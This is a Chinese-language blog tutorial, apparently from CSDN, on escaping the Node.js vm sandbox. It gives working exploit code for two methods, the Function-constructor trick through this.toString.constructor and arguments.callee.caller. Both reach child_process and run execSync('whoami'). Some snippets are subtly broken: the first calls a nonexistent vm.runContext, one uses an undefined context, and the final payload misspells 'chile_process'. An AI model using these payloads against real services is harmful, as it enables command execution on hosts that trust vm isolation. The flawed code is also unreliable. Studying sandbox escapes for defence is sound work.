沙箱逃逸_

 NodeJS沙箱逃逸

本质:只要能在沙箱内部,找到一个沙箱外部的对象,借助这个对象内的属性即可获得沙箱外的函数,进而绕过沙箱(在沙箱内部引入外部的属性,变量,异常,方法等)

使用vm模块,vm是nodejs 中内置的模块,是nodejs提供的隔离环境

1.Function构造函数实现

代码:

const vm = require('vm');
// 引入vm模块
const script = `m + n`;
// 沙箱内引入脚本执行命令
const sandbox = {m:1,n:2};
// 为沙箱中传入对象
const context = new vm.createContext(sandbox);
// 创建沙箱的上下文环境,将沙箱对象传入
const res = vm.runContext(script,sandbox);
// 通过script参数进行沙箱内部的执行
console.log(res);

分析:

this此时指向全局对象window,通过this.toString.constructor得到Function构造函数

function.constructor() == Function()

通过Function构造函数返回process,再用process模块调用子模块mainModule,再用require来导入子类的process模块,然后使用execSync执行任意命令

const script = `
    const process = this.toString.constructor('return process')()
    process.mainModule.require('child_process').execSync('whoami').toString()
`;
// this.toString获取到一个函数对象,this.toString.constructor获取到函数对象的构造器,即Function()这个构造函数,构造器中传入字符串类型的代码
// process模块调用mainModule,require用来导入子类的process模块,然后使用execSync执行命令

实现:

const vm = require('vm');

const script = `
    const process = this.toString.constructor('return process')()
    process.mainModule.require('child_process').execSync('whoami').toString()
`;

const sandbox = {m:[],n:{},x:/regexp/};
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script,context);
console.log(res);

思考:

1.为什么不使用{}.toString.constructor('return process')(),却用this?

{} 是在沙盒内部的一个对象,而this是在沙盒外的对象(注入进来的)。沙盒内的 {} 无法获取process,因为其本身就无process

2.m和n也是沙箱外的对象,为什么不使用m.toString.constructor('return process')()实现?

因为 primitive types,数字、字符串、布尔这些都是 primitive types ,他们传递的是值,沙盒内使用的m和外部的m不是同一个m,无法利用。

可以传递引用


const sandbox = {m:[],n:{},x:/regexp/}

  2. argument.callee.caller实现

代码:

const vm = require('vm');
const script = `..`;
const sandbox = Object.create(null);
// 上下文无对象,this指向为空
const res = vm.runInContext(script,context);
 
// Object.create(null)指向了纯净的空对象,无原型链,无this环境,无任何方式方法。
// 在js中,this指向window;nodejs中的this指向global

分析:

上下文中无对象,this指向为空

Object.create(null)创建了一个纯净的空对象,无原型链,无this环境

要清楚沙箱逃逸的本质,就是必须拿到沙箱外部的东西

这个时候就可以用到arguments.callee.caller

arguments.callee指向的是本身

arguments.callee.caller指向的是某个调用它的方法

在js中,字符串+其他,会变成一个字符串,并且会自动调用toString方法

所以,我们可以在沙箱内部函数写上arguments.callee.caller,然后在外部通过字符串拼接自动调用toString方法,触发内部函数的执行,完成逃逸

实现:

const vm = require('vm');

const script = `(() => {
    const a = {}
    a.toString = function() {
    const cc = arguments.callee.caller;
    const p = (cc.constructor('return process'))();
    return p.mainModule.require('chile_process').execSync('whoami').toString();
    }
    return a;
})()`;

const sandbox = Object.create(null);
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script,context);
console.log('hello' + res); // 通过hello触发

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值